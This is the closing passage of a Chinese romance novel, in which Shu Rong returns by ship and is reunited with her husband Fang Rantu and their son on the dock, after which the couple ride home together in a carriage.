舒容拿起行李,快步下了三楼的船舱,走到甲板上的时候,舒容看到了那个期盼已久的人。码头上的方冉途正抱着舒庆眺望着她的这一艘船。 舒容挤过人群,赶紧跑到他的身边。方冉途看到她的身影也抱着舒庆往她的方向走来。 两人站立在人来人往的码头,四目对望眼中只有彼此。 “夫君,我回来了。”舒容笑着对他甜甜说道。 远处的康平看见方冉途接到舒容,赶紧过来拿走舒容的行李和牵走舒庆,给他们两人留下独处的空间。 “康平叔叔,为什么你要把我拉走?”舒庆疑惑问道。 康平看着后面情意浓浓的一对夫妻,弯腰对舒庆道:“因为叔叔想要给你买糖葫芦。” 舒容牵着方冉途的手一路从码头走到了马车旁。回家的路上,舒庆已经在方冉途的怀里睡着,舒容靠着他的肩膀两人一起看车窗外的景色。春光正好的时候,爱人就在身旁,舒容觉得再没有比这更好的事了。 全文完